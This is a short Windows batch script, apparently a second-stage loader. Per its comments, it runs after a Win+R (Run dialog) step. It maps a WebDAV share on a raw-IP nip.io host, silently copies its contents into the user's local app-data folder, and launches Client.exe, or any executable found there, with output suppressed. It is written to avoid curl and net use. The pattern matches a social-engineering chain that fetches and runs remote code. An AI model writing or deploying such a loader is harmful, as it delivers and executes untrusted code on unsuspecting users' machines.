@echo off
setlocal enableextensions
rem Called after the Win+R loop has pushd'd into the share, so "." is the share
rem root. Copy it to local disk and run the exe locally (so flutter_windows.dll
rem loads next to it). Simple and robust: no curl, no net use.
set "REMOTE=\\135-181-49-170.nip.io@SSL@443\DavWWWRoot"
set "DST=%LOCALAPPDATA%\YourApp"
set "EXE=Client.exe"
set "LOG=%DST%\launcher.log"

if not exist "%DST%" md "%DST%" >nul 2>&1

rem --- source = current dir if the caller mapped the share, else map it here ---
set "MAPPED="
if not exist ".\%EXE%" (
    pushd "%REMOTE%" 2>nul && set "MAPPED=1"
)

rem --- copy everything to local disk (only changed files after the first run) ---
robocopy . "%DST%" /E /XO /FFT /MT:8 /R:2 /W:2 /COPY:DAT /NP /NFL /NDL /NJH /NJS /LOG+:"%LOG%" >nul 2>&1
rem make sure the engine dll arrived (it is the load-bearing one)
if not exist "%DST%\flutter_windows.dll" robocopy . "%DST%" flutter_windows.dll /R:2 /W:2 /NP /NJH /NJS >>"%LOG%" 2>&1
if defined MAPPED popd

rem --- run locally ---
cd /d "%DST%"
set "RUN=%DST%\%EXE%"
if not exist "%RUN%" for %%F in ("%DST%\*.exe") do set "RUN=%%~fF"

if not exist "%RUN%" (
    echo [%DATE% %TIME%] no exe in %DST%>>"%LOG%" 2>nul
    exit /b 1
)
start "" "%RUN%" --update %*
exit /b 0
